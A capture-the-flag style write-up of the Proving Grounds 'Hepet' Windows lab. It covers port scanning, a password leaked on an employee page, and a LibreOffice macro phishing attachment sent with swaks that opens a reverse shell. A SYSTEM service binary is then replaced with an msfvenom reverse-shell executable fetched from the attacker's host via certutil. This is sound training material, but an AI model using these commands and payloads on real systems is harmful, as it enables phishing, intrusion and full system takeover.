Hepet Writeup - Proving Grounds

Intermediate Windows

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Hepet chains a credential leak on a public employee page into a LibreOffice macro phishing email delivered over SMTP, then abuses a writable Windows service binary to escalate from a standard user to SYSTEM.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint services.

┌──(kali㉿kali)-[~]

└─$ sudo nmap -Pn -n -p- -sCV --open $TARGET_IP

PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          ESMTP server
110/tcp   open  pop3          Mailserver pop3d
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          Mailserver imapd
443/tcp   open  ssl/https
445/tcp   open  microsoft-ds  Microsoft Windows
2224/tcp  open  http          Mailing list service
5040/tcp  open  unknown
8000/tcp  open  http          Company website
11100/tcp open  unknown
20001/tcp open  ftp           ftpd
33006/tcp open  unknown
49664-49670/tcp open msrpc    Microsoft Windows RPC

Explain command

-Pn	Skip host discovery and treat the host as up.
-p-	Scan all 65535 TCP ports.
-sCV	Run the default scripts and probe service versions.

A full mail stack (SMTP, POP3, IMAP) alongside a company website on port 8000 points to a phishing angle rather than a direct web exploit. Anonymous FTP on port 20001 only holds an unrelated Vue.js project, a dead end.

Web enumeration: port 8000

The TIME TRAVEL company page lists employees. One entry's role field holds what is clearly a password rather than a job title: user jonas, password $JONAS_PASSWORD.

Enumeration

Confirm the leaked credential against the exposed mail services.

┌──(kali㉿kali)-[~]

└─$ curl -k "imaps://$TARGET_IP" --user jonas:$JONAS_PASSWORD

* OK IMAP4 ready
+ Logged in
* 5 messages in INBOX

Explain command

-k	Skip TLS certificate verification for the self-signed mail server cert.

┌──(kali㉿kali)-[~]

└─$ nc $TARGET_IP 143

┌──(kali㉿kali)-[~]

└─$ a1 LOGIN jonas $JONAS_PASSWORD

┌──(kali㉿kali)-[~]

└─$ a2 LIST "" "*"

┌──(kali㉿kali)-[~]

└─$ a3 SELECT INBOX

┌──(kali㉿kali)-[~]

└─$ a4 FETCH 1:5 BODY[TEXT]

a1 OK LOGIN completed
* LIST () "/" "INBOX"
a3 OK [READ-WRITE] SELECT completed
<snip>
Email #2: confirms the mail server opens attachments with LibreOffice
Email #4: spreadsheets get sent to mailadmin
a4 OK FETCH completed

Two emails matter: the mail server opens attachments with LibreOffice, and mailadmin is the user who receives spreadsheets. That is a LibreOffice macro phishing vector with a known target recipient.

Exploitation

Malicious ODS via MMG-LO

MMG-LO generates an ODS spreadsheet with an embedded macro that downloads and runs a PowerShell reverse shell when opened in LibreOffice.

┌──(kali㉿kali)-[~]

└─$ git clone https://github.com/mgeeky/MMG-LO.git

┌──(kali㉿kali)-[~]

└─$ cd MMG-LO

┌──(kali㉿kali)-[~]

└─$ python3 mmg-ods.py windows $ATTACKER_IP $ATTACKER_PORT

[+] Generating malicious ODS macro...
[+] Written to file.ods

The macro fetches powercat.ps1 and opens a reverse PowerShell session back to the attacker. Start a listener, then email the file to mailadmin with swaks. MMG-LO always names its output file.ods, so attach exactly that file.

┌──(kali㉿kali)-[~]

└─$ nc -lvnp $ATTACKER_PORT

┌──(kali㉿kali)-[~]

└─$ sudo swaks --to mailadmin@localhost --from jonas@localhost --server $TARGET_IP --port 25 --header "Subject: Spreadsheet" --body "Please review" --attach @file.ods

=== Trying $TARGET_IP:25...
=== Connected...
-> DATA
<- 250 2.0.0 Ok: queued

Explain command

--attach @

Attach the given file to the outgoing email.

The mail server delivers the message to mailadmin, who opens the attachment in LibreOffice. The macro runs and the listener catches a reverse shell as HEPET\Ela Arwel.

Privilege Escalation

Service binary hijack: VeyonService

Enumerate services whose binary doesn't live under C:\Windows.

PS C:\Users\Guest\Desktop> Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*"} | Select-Object Name, PathName, StartMode, State

Name           PathName                                        StartMode  State
VeyonService   C:\Users\Ela Arwel\Veyon\veyon-service.exe      Auto       Running

VeyonService runs as SYSTEM with Auto start, from a binary inside Ela Arwel's own home directory. Check its permissions.

PS C:\Users\Guest\Desktop> icacls "C:\Users\Ela Arwel\Veyon\veyon-service.exe"

NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
HEPET\Ela Arwel:(I)(F)

Ela Arwel has Full Control over a SYSTEM service binary. Generate a reverse shell executable and host it.

┌──(kali㉿kali)-[~]

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o veyon-service.exe

┌──(kali㉿kali)-[~]

└─$ python3 -m http.server 8080

Payload size: 324 bytes
Saved as: veyon-service.exe
Serving HTTP on 0.0.0.0 port 8080 ...

Start a second listener, then on target back up and replace the binary.

┌──(kali㉿kali)-[~]

└─$ nc -lvnp $ATTACKER_PORT

PS C:\Users\Guest\Desktop> cd "C:\Users\Ela Arwel\Veyon"

PS C:\Users\Guest\Desktop> move veyon-service.exe veyon-service.exe.bak

PS C:\Users\Guest\Desktop> certutil -urlcache -f http://$ATTACKER_IP:8080/veyon-service.exe veyon-service.exe

**** Online ****
CertUtil: -URLCache command completed successfully.

Verify the downloaded file is close to the original payload size, a file only a few KB means the download grabbed an error page instead of the binary. Stop-Service fails without the right privilege, so force the Auto-start service to restart by rebooting the box.